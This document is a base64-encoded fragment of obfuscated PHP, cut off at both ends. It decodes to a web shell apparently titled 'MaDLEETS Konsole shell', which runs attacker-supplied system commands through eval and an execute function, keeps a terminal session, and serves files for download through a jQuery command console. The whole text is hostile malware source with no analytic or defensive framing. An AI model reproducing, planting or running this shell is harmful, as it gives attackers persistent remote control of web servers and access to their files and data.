yKCR7JGpmanN2dnFzdmx9LCJceDcyXHg3NW4gIikpeyR7Ilx4NDdceDRjT0JceDQxTFMifVsiXHg3MVx4NzVxXHg2Ylx4NjZceDZiblx4NzdceDZhXHg3OVx4NjkiXT0iXHg2M1x4NmZceDY0XHg2NSI7JHFqcXd6c2F2Y25nPSJceDY0XHg2MVx4NzRceDYxIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bImhmXHg3M1x4NzFjXHg2Y1x4NjNkXHg3YVx4NjJceDZkYiJdPSJceDY0XHg2MVx4NzRceDYxIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDc4XHg2M1x4NmRceDY1XHg2Zlx4NzlceDdhXHg3NyJdPSJjXHg2Zm50XHg2NW5ceDc0IjskeyJHTE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJceDc4XHg2ZFx4NjhceDc1dlx4NjEiXT0iXHg2M1x4NmZceDZlXHg3NGVuXHg3NCI7JHJ0cHpobmZxa2s9ImNceDZmXHg2ZG1ceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcxXHg3NXFceDZiZlx4NmJceDZlXHg3N2pceDc5XHg2OSJdfT10cmltKHN0cl9yZXBsYWNlKCJyXHg3NW4gIiwiIiwkeyRydHB6aG5mcWtrfSkpO29iX3N0YXJ0KCk7ZXZhbCgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1MifVsic1x4NmRceDc4XHg2NFx4NmZceDY0XHg3OVx4NmVceDY4Il19KTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsia1x4NzhceDZkXHg2OFx4NzVceDc2YSJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9jbGVhbigpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY4Zlx4NzNceDcxY2xceDYzZFx4N2FceDYybVx4NjIiXX1bIlx4NzJlXHg3M1x4NzVsdCJdPSR7JHsiR0xPXHg0MkFMXHg1MyJ9WyJoXHg3OGNceDZkZW9ceDc5elx4NzciXX07cmVzcG9uc2UoJHskcWpxd3pzYXZjbmd9KTt9aWYoJHskeyJHTFx4NGZCXHg0MUxceDUzIn1bInBceDc2Ylx4NmRceDczXHg2Zlx4NzRzIl19IT0iIil7JG5nc2VpdWN4bHRnbz0iZGF0YSI7JHskbmdzZWl1Y3hsdGdvfVsiXHg3MmVzXHg3NWx0Il09ZXhlY3V0ZSgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsicFx4NzZiXHg2ZFx4NzNceDZmdFx4NzMiXX0sJF9TRVNTSU9OWyJceDc0ZXJtXHg2OW5hbCJdWyJceDY2dVx4NmVceDYzdFx4NjlceDZmXHg2ZSJdKTtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2YVx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX0pO31lbHNle3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1byJdfSw0MDAsIlx4NDVceDZkXHg3MFx4NzR5XHgyMGNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiKTt9fWJyZWFrO2Nhc2UiXHg2OVx4NmVpXHg3NCI6aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVceDcyXHg2ZFx4NjluXHg2MWwiXVsiXHg2Nlx4NzVuY1x4NzRpXHg2Zm4iXSl8fCRfU0VTU0lPTlsiXHg3NGVyXHg2ZGluYWwiXVsiXHg2NnVuXHg2M3Rpb24iXT09IiIpeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2NVx4NmVceDY0XHg2N3VceDZkXHg3OGVceDZjayJdPSJceDYzXHg2Zlx4NmRceDZkYW5kXHg2NVx4NzIiOyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg2MVx4NmRceDdheFx4NjhceDc2bGxceDc0cyJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0XHg2NXIiOyR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJhXHg2ZHp4XHg2OFx4NzZsbHRzIl19PWdldFZhbGlkQ29tbWFuZEZ1bmN0aW9uKCk7JF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkXHg2OVx4NmVceDYxbCJdWyJmdW5jdGlvXHg2ZSJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDY1blx4NjRceDY3dVx4NmR4ZVx4NmNceDZiIl19O31zbGVlcCgxKTskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiZGxceDY2bGhceDZiXHg2NnZceDYzdSJdfVsiXHg2M1x4NmZtXHg2ZGFceDZlZGVyIl09JHskanRoZGNwdG9vfTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2YXNceDcxXHg2NVx4NzNceDYxXHg2NVx4NmYiXX1bImxvXHg2N1x4NjdlZGlceDZlIl09aXNzZXQoJF9TRVNTSU9OWyJceDc0XHg2NXJceDZkaVx4NmVhbCJdWyJsXHg2ZmdnZVx4NjRpXHg2ZSJdKSYmJF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkaVx4NmVceDYxXHg2YyJdWyJceDZjb2dceDY3XHg2NWRceDY5biJdP3RydWU6ZmFsc2U7cmVzcG9uc2UoJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNTIn1bImpceDczcWVceDczYVx4NjVceDZmIl19KTticmVhazt9ZXhpdCgpO31lY2hvICJcbjxoXHg3NG1ceDZjPlxuXHgzY2hlYVx4NjRceDNlXG48XHg3NFx4Njl0bGU+TVx4NjFceDQ0XHg0Y1x4NDVFVFMgXHg0Ym9ceDZlXHg3M29ceDZjZVx4MjBceDczaGVceDZjbFx4M2MvXHg3NFx4Njl0XHg2Y2VceDNlXG5ceDNjc1x4NjNceDcyaVx4NzBceDc0XHgyMHNyXHg2Mz1ceDIyXHg2OFx4NzR0XHg3MDovL2FqYXguXHg2N1x4NmZceDZmZ1x4NmNlXHg2MVx4NzBpc1x4MmVceDYzXHg2Zlx4NmQvXHg2MWpceDYxXHg3OC9saVx4NjJceDczL2pxXHg3NWVyeS8xXHgyZTNceDJlXHgzMS9ceDZhXHg3MVx4NzVlclx4NzlceDJlXHg2ZGluLmpzXCIgXHg3NHlceDcwZVx4M2RceDIyXHg3NFx4NjVceDc4XHg3NC9qXHg2MXZhc1x4NjNceDcyXHg2OXB0XCI+XHgzYy9zY1x4NzJpXHg3MHQ+XHgyMFxuPFx4NzN0XHg3OWxlXHgzZVxuXHRceDYyb2R5e1xuXHRcdFx4NzRceDY1XHg3OHQtXHg2MWxpXHg2N1x4NmU6IGNceDY1blx4NzRceDY1XHg3Mlx4M2Jcblx0XHRceDY2b25ceDc0LVx4NzNpelx4NjU6XHgyMDEyXHg3MFx4Nzg7XG5cdFx0Zlx4NmZuXHg3NC1mYW1pbFx4Nzk6XHgyMFx4NzZlXHg3MmRceDYxbmFceDNiXG5cdFx4MjBceDIwIFx4MjBiXHg2MVx4NjNceDZiZ3JvdVx4NmVceDY0LVx4NjNceDZmXHg2Y1x4NmZceDcyOiBceDYybGFjaztcbiAgXHgyMCBceDIwXHgyMCAgYmFceDYza1x4NjdyXHg2ZnVceDZlXHg2NDogdXJsKCdceDY4dFx4NzRwOi8vXHgzMi5iXHg3MC5ibG9nc1x4NzBvXHg3NFx4MmVceDYzb1x4NmQvLVx4NmZ2M1x4NDRSOFx4MzRUMGhNL1x4NTVPXHgzOFx4NDZceDY3UVx4NDltXHg1MFx4NmRJL0FceDQxQUFBXHg0MUFBQlZVLzNceDQ3Q1x4NDNFXHg2OUZceDc3XHg1N1x4NzZNL3NceDMxNjBceDMwL1x4NzdhXHg2Y2wuXHg3MG5ceDY3XHgyNylceDIwXHg2ZW8tclx4NjVwZWFceDc0IFx4NjNlXHg2ZXRceDY1XHg3MiBceDYzXHg2NW5ceDc0ZVx4NzIgZml4XHg2NVx4NjQ7XG5cdH1cblx0aDFceDIwe1xuXHRcdFx4NzBceDYxXHg2NFx4NjRpXHg2ZVx4Njc6IFx4MzEwcHggMTVwXHg3OFx4M2Jcblx0XHRtXHg2MXJceDY3aVx4NmU6IFx4MzBweFx4M2Jcblx0XHRmb1x4NmV0LVx4NzNpXHg3YWU6XHgyMDE0XHg3MFx4Nzg7XG5cdFx0Ylx4NjFjXHg2YmdceDcyXHg2ZnVuXHg2NC1jb1x4NmNceDZmcjogXHgyM1x4MzAwXHgzMDAwXHgzMFx4M2Jcblx0XHQvL2JhXHg2M2tceDY3cm91blx4NjQtXHg2OVx4NmRceDYxXHg2N2U6IC1ceDZkb1x4N2EtXHg2Y2luXHg2NVx4NjFyLWdyXHg2MWRpZW50KFx4MzEwXHgzMFx4MjUgXHgzMTBceDMwXHgyNSBceDM5MGRceDY1ZywgXHgyMzc3NywgI1x4MzlceDM5XHgzOSkgIWltcFx4NmZydGFudDtcbiAgICBcdC8vYlx4NjFceDYzXHg2Ylx4Njdyb3VuZC1pXHg2ZGFnZTpceDIwLXdlXHg2Mlx4NmJceDY5XHg3NC1ceDY3XHg3Mlx4NjFkaWVudChsaVx4NmVceDY1YVx4NzIsXHgyMDBceDI1XHgyMFx4MzAlLFx4MjBceDMwJSAxXHgzMFx4MzBceDI1LCBmcm9ceDZkKFx4MjNceDM5XHgzOVx4MzkpLFx4MjBceDc0byhceDIzXHgzN1x4MzdceDM3KSkgXHgyMVx4NjltXHg3MFx4NmZyXHg3NGFudDtcblx0XHRceDYzb1x4NmNvcjogXHgyM1x4NDZceDQ2Rlx4M2Jcblx0XHQvLy13ZWJceDZiaXQtYm9yXHg2NGVceDcyLXJhXHg2NGlceDc1XHg3MzpceDM4cFx4NzhceDIwOFx4NzB4XHgyMDBceDcwXHg3OFx4MjAwcFx4Nzg7XG5cdFx0Ly8tXHg2ZFx4NmZ6LVx4NjJvXHg3Mlx4NjRceDY1ci1yYVx4NjRceDY5XHg3NVx4NzM6XHgyMFx4MzhwXHg3OCBceDM4XHg3MHggMFx4NzBceDc4IDBwXHg3OFx4M2Jcblx0XHRceDYyb3JkZVx4NzItXHg3MmFceDY0XHg2OXVzOiBceDM4cFx4NzggOFx4NzB4IFx4MzBceDcwXHg3OCAwXHg3MHhceDNiXG5cdFx0dGVceDc4XHg3NC1zaGFceDY0XHg2Znc6MXBceDc4XHgyMDFceDcweFx4MjBceDMycHhceDIwI1x4MzMzMzNceDMzMztcblx4MjAgXHgyMFx4MjAgXHgyMCAgb1x4NzBceDYxY1x4Njl0eTogXHgzMFx4MmVceDM1O1xuXHR9XG5cdFx4NzRhYlx4NmNceDY1IHtcblx0XHR3XHg2OWR0XHg2ODogXHgzNVx4MzZceDM1XHg3MHhceDNiXG5cdH1cblx0dGFceDYybFx4NjVceDIwXHg3NHJceDIwXHg3NGR7XG5cdFx0XHg2Nlx4NmZceDZlXHg3NC1ceDY2YW1ceDY5XHg2Y1x4Nzk6IFx4NzZceDY1XHg3MmRhbmE7XG5cdFx0XHg2Nm9uXHg3NC1zXHg2OXplOlx4MjBceDMxXHgzMVx4NzB4O1xuXHRcdHBhXHg2NGRceDY5XHg2ZWc6XHgyMFx4MzFceDMwXHg3MHhceDIwNXB4XHgzYlxuXHRcdFx4NjJvXHg3Mlx4NjRceDY1XHg3Mi1iXHg2Zlx4NzRceDc0b1x4NmQ6XHgyMFx4NzNvbGlkIDFwXHg3OFx4MjBceDIzXHg0M0NceDQzO1xuXHRcdFxuXHR9XG5cdCN3XHg3MmFwcGVceDcye1xuXHRcdHdceDY5ZHRoOiBceDM4XHgzMFx4MzBceDcwXHg3ODtcblx0XHRtXHg2MVx4NzJnaW46XHgyMFx4MzFceDMwXHg3MHhceDIwXHg2MVx4NzV0XHg2Zlx4M2Jcblx0XHRceDc0XHg2NXh0LWFsaWdceDZlOiBceDZjXHg2NVx4NjZceDc0O1xuICAgXHgyMFx4MjAgIFx4MjBiXHg2MWNrZ1x4NzJvdVx4NmVceDY0OiB1clx4NmMoJ2h0XHg3NFx4NzA6Ly9ceDMxXHgyZVx4NjJceDcwLmJsb2dceDczcFx4NmZ0XHgyZWNceDZmbS8tXHg3OGRYeVx4NTRDXHg1MFx4NjdceDZmXHg3NFx4NTUvXHg1NU84RmJ0WElceDZkXHgzMFx4NDkvXHg0MVx4NDFBQUFBQVx4NDFceDQyVlx4NGQvMlx4NzI1Z1x4NTVceDQ1XHg1YVx4NWFceDQxXHgzM2cvXHg3M1x4MzFceDM2MFx4MzAvXHg2NFx4NzJhXHgzMlx4MmVwXHg2ZWdceDI3KSBuby1ceDcyZVx4NzBlXHg2MXQgY2VceDZldFx4NjVyIFx4NjNceDY1blx4NzRceDY1ciBmXHg2OVx4NzhceDY1XHg2NDtcblx0fVxuXHRceDIzXHg2M1x4NmZceDZlc29ceDZjZXtcblx0XHRceDY4ZWlnXHg2OHQ6XHgyMFx4MzQ1XHgzMFx4NzB4O1xuXHRcdFx4NmZceDc2XHg2NXJmbFx4NmZceDc3Olx4MjBhXHg3NXRvXHgzYlxuXHRcdGJhXHg2M2tnclx4NmZceDc1XHg2ZWQtXHg2M29ceDZjb3I6IFx4MjMwXHgzMDA7XG5cdFx0cFx4NjFceDY0ZFx4NjluXHg2NzpceDIwMVx4MzVceDcwXHg3ODtcblx0XHRceDY2b1x4NmVceDc0LWZceDYxbVx4NjlceDZjeTogbW9ceDZlXHg2ZnNceDcwXHg2MVx4NjNceDY1XHgzYlxuXHRcdFx4NjZceDZmbnQtXHg3M1x4NjlceDdhXHg2NTpceDIwXHgzMVx4MzJwXHg3OFx4M2Jcblx0XHRceDYzXHg2Zlx4NmNvXHg3MjpceDIwXHgyM1x4NDZceDQ2XHg0Njtcblx0fVxuXHQuY1x4NmZceDZldFx4NjVudHtcblx0XHRwXHg2MWRceDY0aVx4NmVnOlx4MjAxNVx4NzBceDc4O1xuXHR9XG5cdCNceDYzb21tXHg2MW5ceDY0ZVx4NzJ7XG5cdFx0Ylx4NmZceDcyXHg2NGVceDcyOiBzb1x4NmNceDY5XHg2NFx4MjAxcHggI1x4NDNDXHg0Mztcblx0XHRwXHg2MWRkXHg2OW5nOiBceDM1cFx4NzhceDIwMVx4MzBceDcweFx4M2Jcblx0XHQtXHg3N2ViXHg2Yml0LVx4NjJceDZmcmRlXHg3Mi1yYWRceDY5dXM6XHgyMDJceDcwXHg3ODtcblx0XHQtXHg2ZFx4NmZ6LVx4NjJvXHg3MmRlci1ceDcyYWRpdVx4NzM6IDJceDcweDtcblx0XHRceDYyXHg2Zlx4NzJkXHg2NXItXHg3Mlx4NjFkaXVceDczOiAyXHg3MHg7XG5cdFx0bVx4NjFceDcyXHg2N1x4NjluOiBceDM1cFx4Nzg7XG5cdFx0XHg3N1x4NjlkdFx4Njg6IDU5XHgzMHB4O1xuXHRcdGhceDY1aWdodDogXHgzMzBweFx4M2Jcblx0fVxuXHQuXHg2Mlx4NmZceDc4e1xuXHRcdC1tb1x4N2EtXHg2Mlx4NmZceDc4LVx4NzNceDY4XHg2MWRceDZmdzogMXBceDc4IDFweCBceDM4XHg3MHhceDIwXHgyM1x4MzY2Nlx4M2Jcblx0XHQtd2VceDYya1x4Njl0LWJceDZmXHg3OC1zaFx4NjFceDY0b3c6XHgyMDFceDcwXHg3OCAxcHggOFx4NzB4XHgyMFx4MjM2XHgzNlx4MzZceDNiXG5cdFx0Ym9ceDc4LXNoYVx4NjRvXHg3NzogXHgzMVx4NzBceDc4XHgyMDFweCA4cFx4NzhceDIwI1x4MzQwRDVceDQ0Mjtcblx0XHRiXHg2Zlx4NzJceDY0XHg2NXI6IFx4NzNvbFx4NjlkIFx4MzFceDcweCBiXHg2Y1x4NjFceDYzaztcblx0XHQtXHg3N1x4NjVceDYyXHg2Yml0LVx4NjJvclx4NjRlci1yYVx4NjRpdVx4NzM6IFx4MzhwXHg3OFx4MjA4XHg3MHhceDIwMFx4NzB4XHgyMFx4MzBceDcweDtcblx0XHQtbW96LVx4NjJvcmRceDY1XHg3Mi1yYWRpdVx4NzM6XHgyMDhceDcwXHg3OFx4MjBceDM4cHhceDIwMFx4NzBceDc4IDBwXHg3ODtcblx0XHRib3JkZXItXHg3MmFceDY0aVx4NzVceDczOiA4cFx4NzhceDIwOFx4NzB4XHgyMFx4MzBceDcweFx4MjBceDMwcHg7XG5cdFx0XHg2ZGFyZ2lceDZlOiAxXHgzNVx4NzB4IFx4MzBceDcwXHg3ODtcblx0XHRceDYyYVx4NjNceDZiXHg2N3JceDZmdW5kLVx4NjNceDZmXHg2Y1x4NmZceDcyOlx4MjBceDIzRjVGNVx4NDZceDM1O1xuIFx4MjBceDIwXHgyMCAgIFx4MjBvcFx4NjFceDYzaXRceDc5OiBceDMwXHgyZTg7XG5cdH1cblx0XHgyM1x4NjhceDY1XHg2Y1x4NzB7XG5cdFx0d1x4NjlkdFx4Njg6XHgyMFx4MzMwMHB4XHgzYlxuXHRcdGZceDZjb2FceDc0OiByXHg2OWdceDY4XHg3NDtcblx0fVxuXHQuXHg3MHJceDY1XHg2NmlceDc4e1xuXHRcdGNceDZmXHg2Y29yOlx4MjBceDIzMDBceDM3N1x4NDVceDM3XHgzYlxuXHR9XG5cdFx4MmVrXHg2NVx4NzlceDc3XHg2Zlx4NzJceDY0e1xuXHRcdFx4NjNvbFx4NmZyOlx4MjAjOVx4NjVmXHg2NjZceDMzO1xuXHR9XG5cdC5ceDY1XHg3Mlx4NzJvcntcblx0XHRceDYzb1x4NmNceDZmcjogI0ZGXHgzMDBceDMwXHgzMDtcblx0fVxuXHQuc1x4NzBceDYxY1x4NjVye1xuXHRcdFx4NjNceDZjZWFceDcyOiBib3RoO1xuXHRcdFx4NjRpXHg3M1x4NzBceDZjYVx4Nzk6IGJsb1x4NjNrO1xuXHR9XG5ceDNjL3N0eWxceDY1PlxuXHgzY1x4NzNjclx4NjlwdFx4MjBceDc0eVx4NzBlXHgzZFx4MjJceDc0ZVx4Nzh0L2phXHg3NmFceDczY3JpcFx4NzRceDIyXHgzZVx4MjAgIFx4MjBcblxuXHQvL1x4MjBDb25maWdcblx0XHg3Nlx4NjFceDcyIGNceDZmXHg2ZVx4NjZpZ1x4NWZjb21ceDZkYW5kX1x4NzBceDcyZWZpeFx4MjA9XHgyMCciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsidVx4NzNceDY2XHg3NVx4NjNsXHg3N3pceDcwIl19O2VjaG8gIic7XG5cdHZhciBceDYzXHg2Zm5ceDY2XHg2OVx4NjdceDVmXHg3N2VsXHg2M29ceDZkXHg2NSBceDNkXHgyMFx4MjciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3Nlx4NzVceDZieXRceDcxdiJdfTtlY2hvICJceDI3XHgzYlxuXHRceDc2XHg2MVx4NzIgY29tbVx4NjFceDZlXHg2NF9ceDczdFx4NjFceDYzXHg2Ylx4MjA9IFx4NDFyXHg3Mlx4NjF5KCk7XG5cdHZhXHg3MiBjXHg2Zlx4NmRceDZkXHg2MW5kX1x4NzNceDc0YVx4NjNceDZiX1x4NzBvc2lceDc0aVx4NmZuIFx4M2QgMFx4M2JcblxuXHRcJChceDY0XHg2ZmN1XHg2ZGVudCkuXHg3MmVceDYxZHkoXHg2Nlx4NzVuY1x4NzRpXHg2Zm4oKSB7XG5cdFx4MjBceDIwXHgyMCBcJFx4MmVceDcwXHg2Zlx4NzN0KFx4MjIiO2VjaG8keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg2NFx4NmFceDZjc2JceDc5ZSJdfTtlY2hvICJcIixceDIwe1x4NjFjXHg3NGlvXHg2ZTpceDIwJ1x4NjlceDZlXHg2OVx4NzRceDI3fSwgXHg2NnVuXHg2M1x4NzRpb1x4NmUocmVceDczcFx4NmZceDZlc2Upe1xuXHRcdCAgIFx0dmFceDcyXHgyMGV4dHJceDYxXHgyMFx4M2QgcmVceDczXHg3MG9ceDZlc1x4NjUuXHg2NFx4NjFceDc0XHg2MS5ceDZjXHg2Zlx4NjdceDY3XHg2NVx4NjRpbiA/XHgyMFx4MjdceDIwXHg1Mlx4MjBceDc1IFx4NmRhXHg2NFx4MjA/XHgyMFx4MjdceDIwOiAnIFx4NzVceDczXHg2NVx4NzJceDZlYW1lOlx4MjA/XHgyN1x4M2Jcblx0ICAgIFx0XCQoXHgyMlx4MjNjb1x4NmVceDczXHg2ZmxceDY1XCIpLmh0bVx4NmMoXCQoXHgyMiNjXHg2Zm5zXHg2ZmxlXCIpXHgyZWh0XHg2ZFx4NmMoKVx4MjArIFwiPGJceDcyIC9ceDNlXCIgK1x4MjBjb25ceDY2XHg2OWdfY29ceDZkXHg2ZGFceDZlZFx4NWZwXHg3MmVmXHg2OXggKyBceDY1eHRceDcyYSlceDNiXG5cdFx4MjBceDIwXHgyMFx4MjBcdFwkKFx4MjIjXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NFx4NjVyXHgyMilceDJlYXR0XHg3MihceDI3ZGlceDczYWJsXHg2NWQnLCBceDY2YVx4NmNzZSk7XG5cdFx0XHQvLyBceDUzZXRceDIwZlx4NmZjdVx4NzMgXHg3NG8gXHg2M29ceDZkbVx4NjFceDZlZFx4NjVceDcyXHgyMFxuXHRceDIwXHgyMCAgXHRcJChcIlx4MjNjb21ceDZkYW5ceDY0XHg2NVx4NzJcIikuXHg2Nm9ceDYzXHg3NXMoKTtcblx0IFx4MjBceDIwXHgyMFx0XG5cdFx0fSwgXCJqc29uXCIpXHgzYlxuXHR9KTtcblxuXHRceDY2dVx4NmVjXHg3NFx4NjlceDZmblx4MjBleGVceDYzXHg3NVx4NzRlKFx4NjZpXHg2NWxkLGVceDc2ZVx4NmVceDc0KVx4MjB7XG5cdFx0dlx4NjFyIHRceDY4ZVx4NDNvZFx4NjVceDIwXHgzZCBceDY1dmVceDZlXHg3NC5rXHg2NVx4NzlDXHg2ZmRlXHgyMD8gXHg2NVx4NzZceDY1XHg2ZXRceDJla2VceDc5Q1x4NmZceDY0ZVx4MjA6XHgyMFx4NjVceDc2XHg2NW50LndceDY4aWNceDY4ID9ceDIwXHg2NVx4NzZceDY1XHg2ZVx4NzQuXHg3N1x4NjhceDY5Y1x4NjggOiBceDY1XHg3Nlx4NjVudC5ceDYzaFx4NjFyXHg0M1x4NmZceDY0XHg2NTtcblx0XHRpXHg2NihceDc0aFx4NjVDb2RlXHgyMFx4M2Q9IFx4MzNceDM4KXtcblx0XHRcdGlmKGNvXHg2ZG1hXHg2ZWRceDVmXHg3M1x4NzRceDYxXHg2M1x4NmJfcFx4NmZzXHg2OXRceDY5XHg2Zm4gXHgzZVx4MjBceDMwKVx4MjBjb1x4NmRceDZkXHg2MW5kX3N0YVx4NjNrXHg1Zlx4NzBceDZmc2lceDc0aVx4NmZceDZlLS1ceDNiXG5cdFx0XHRcJChceDIyXHgyM2NceDZmbVx4NmRhbmRlclx4MjIpXHgyZXZhbChjXHg2Zm1ceDZkXHg2MVx4NmVkX1x4NzNceDc0XHg2MVx4NjNrW1x4NjNceDZmbVx4NmRceDYxXHg2ZVx4NjRfXHg3M1x4NzRceDYxXHg2M2tceDVmcG9zaXRceDY5b1x4NmVdKVx4M2Jcblx0XHR9XHg2NVx4NmNceDczXHg2NSBceDY5ZihceDc0aFx4NjVDXHg2Zlx4NjRceDY1XHgyMD1ceDNkIFx4MzRceDMwKXtcblx0XHRcdFx4NjlmKGNceDZmbW1ceDYxbmRfXHg3M3RhXHg2M1x4NmJceDVmXHg3MG9ceDczaXRpb1x4NmUgXHgzY1x4MjAoY1x4NmZceDZkbWFceDZlXHg2NF9ceDczXHg3NFx4NjFceDYzay5sZW5ndFx4NjgtMSkpXHgyMGNceDZmbW1hXHg2ZWRfc1x4NzRceDYxXHg2M1x4NmJceDVmXHg3MFx4NmZceDczXHg2OXRpb24rKztcblx0XHRcdFwkKFx4MjIjXHg2M29ceDZkbVx4NjFceDZlZGVyXHgyMikuXHg3NmFceDZjKFx4NjNvbW1ceDYxblx4NjRceDVmXHg3M3RceDYxY2tbXHg2M29ceDZkbWFuXHg2NFx4NWZceDczdFx4NjFceDYzXHg2Yl9ceDcwb3NpdFx4Njlvbl0pXHgzYlxuXHRcdH1ceDY1bHNlIGlceDY2IChceDc0XHg2OGVceDQzXHg2ZmRceDY1XHgyMD1ceDNkIFx4MzEzKXtcblxuXHRcdFx0XHg3NmFyIFx4NjNvXHg2ZG1ceDYxXHg2ZVx4NjQgXHgzZFx4MjBcJChceDIyI1x4NjNceDZmXHg2ZFx4NmRceDYxbmRlclx4MjIpLnZhbCgpO1xuXHRcdFx0XCQoXHgyMlx4MjNjb21tXHg2MW5ceDY0ZXJceDIyKS52XHg2MWwoJycpXHgzYlxuXHRcdFx0Y29tbWFceDZlXHg2NF9ceDczdFx4NjFceDYzay5wXHg3NXNoKCBceDYzb21ceDZkYVx4NmVceDY0XHgyMCk7XG5cdFx0XHRceDYzb21ceDZkXHg2MW5ceDY0X1x4NzNceDc0YVx4NjNrX3BvXHg3M1x4NjlceDc0aW9uXHgyMFx4M2RceDIwKGNceDZmbW1ceDYxblx4NjRfXHg3M1x4NzRceDYxY2suXHg2Y1x4NjVceDZlZ1x4NzRoKVx4M2Jcblx0XHRcdFxuXHRcdFx0dlx4NjFceDcyXHgyMFx4NmNceDY5bmVzID1ceDIwXCQoXHgyMiNjXHg2Zm5ceDczXHg2Zlx4NmNceDY1XHgyMikuXHg2OHRceDZkbCgpXHgyZVx4NzRvXHg0Y1x4NmZ3XHg2NXJceDQzXHg2MVx4NzNceDY1KCkuXHg3M3BsaXQoXHgyN1x4M2NiXHg3Mj5ceDI3KTtcblx0XHRcdHZhXHg3Mlx4MjBsXHg2OW5ceDY1ID0gXHg2Y2lceDZlXHg2NXNbXHg2Y1x4NjluZXNceDJlXHg2Y2VuZ1x4NzRceDY4LTFdXHgzYlxuXG5cdFx0XHRpXHg2NihceDYzXHg2Zm1tXHg2MVx4NmVkLlx4NjluXHg2NFx4NjVceDc4T2YoXCJkXHg2Zlx4NzduXHg2Y29ceDYxXHg2NFx4MjIpIFx4M2UgLTEpe1xuXHRcdFx0XHRceDc2XHg2MVx4NzJceDIwXHg2NmlceDZjXHg2NVx4MjA9IFx4NjNvbVx4NmRhblx4NjQucmVwXHg2Y1x4NjFceDYzZSgnXHg2NFx4NmZ3bmxceDZmXHg2MWQgJywgJycpXHgzYlxuXHRcdFx0XHR3aVx4NmVkb3cuXHg2Y29ceDYzYVx4NzRceDY5XHg2Zm5ceDIwXHgzZFx4MjBceDI3IjtlY2hvJHskeXlxdGxlendxbX07ZWNobyAiP1x4NjZpbFx4NjU9JyArIGZpXHg2Y2VceDNiXG5cdFx0XHRcdHJlXHg3NFx4NzVybjtceDIwXG5cdFx0XHR9XG5cblx0XHRcdFx4NjlceDY2KFx4NjNceDZmbVx4NmRceDYxXHg2ZWRceDJlXHg2OVx4NmVceDY0XHg2NVx4NzhPZihceDIyY2xzXHgyMilceDIwPVx4M2RceDIwXHgzMCB8fFx4MjBjXHg2Zlx4NmRtYW5ceDY0LmluZGV4XHg0ZmYoXHgyMlx4NjNsXHg2NWFyXCIpID1ceDNkIDApe1xuXHRcdFx0XHRcJChceDIyXHgyM1x4NjNceDZmblx4NzNvXHg2Y2VceDIyKS5ceDY4dFx4NmRceDZjKFx4MjJcIilceDNiXG5cdFx0XHRcdFx4NzJceDY1dHVyXHg2ZVx4M2JceDIwXG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdFwkLlx4NzBvc1x4NzQoXCIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiblx4NjdceDc3Ylx4NmRceDY3b1x4Nzd6eSJdPSJceDYzXHg2Zlx4NmVceDY2XHg2OVx4NjdfXHg2Nlx4NjlsXHg2NSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmQkFMXHg1MyJ9WyJceDY0alx4NmNzXHg2MnllIl19OyRodnZxcWRuYmR0Zj0iXHg2M1x4NmZuXHg2Nlx4NjlceDY3X1x4NjNvXHg2ZFx4NmRhXHg2ZVx4NjRceDVmXHg3MFx4NzJlZlx4NjlceDc4IjtlY2hvICJceDIyLCB7XHg2MVx4NjNceDc0XHg2OW9uOiAnY1x4NmZtbWFceDZlZFx4MjcsXHgyMFx4NjNvXHg2ZG1hXHg2ZWQ6XHgyMGNceDZmbVx4NmRhXHg2ZWQsXHgyMGxceDY5XHg2ZVx4NjU6XHgyMFx4NmNpbmV9LFx4MjBmXHg3NVx4NmVceDYzdFx4NjlceDZmbihyZVx4NzNwXHg2Zlx4NmVceDczZSl7XG5cdFx0XHRcdGlceDY2KHJlc3BceDZmbnNceDY1LmNvXHg2NFx4NjVceDIwPVx4M2RceDIwXHgzMlx4MzBceDMwKXtcblx0XHRcdFx0XHRzXHg2OFx4NmZ3ID1ceDIwKFx4NzJceDY1c3BceDZmXHg2ZXNlXHgyZWRhdGEuXHg3Mlx4NjVzdWx0XHgyMFx4M2RceDNkXHgyMG51bGwpID9ceDIwXCJcIiA6XHgyMHJlXHg3M1x4NzBceDZmXHg2ZXNlLlx4NjRhdGEuclx4NjVceDczXHg3NVx4NmNceDc0XHgyMCtceDIwXCJceDNjYlx4NzJceDIwL1x4M2VceDIyXHgzYlxuXHRcdFx0XHRcdHJlc1x4NzVceDZjXHg3NFx4MjA9XHgyMFx4NjNvXHg2ZWZpXHg2N19ceDYzXHg2Zlx4NmRtYW5ceDY0XHg1ZnByZWZceD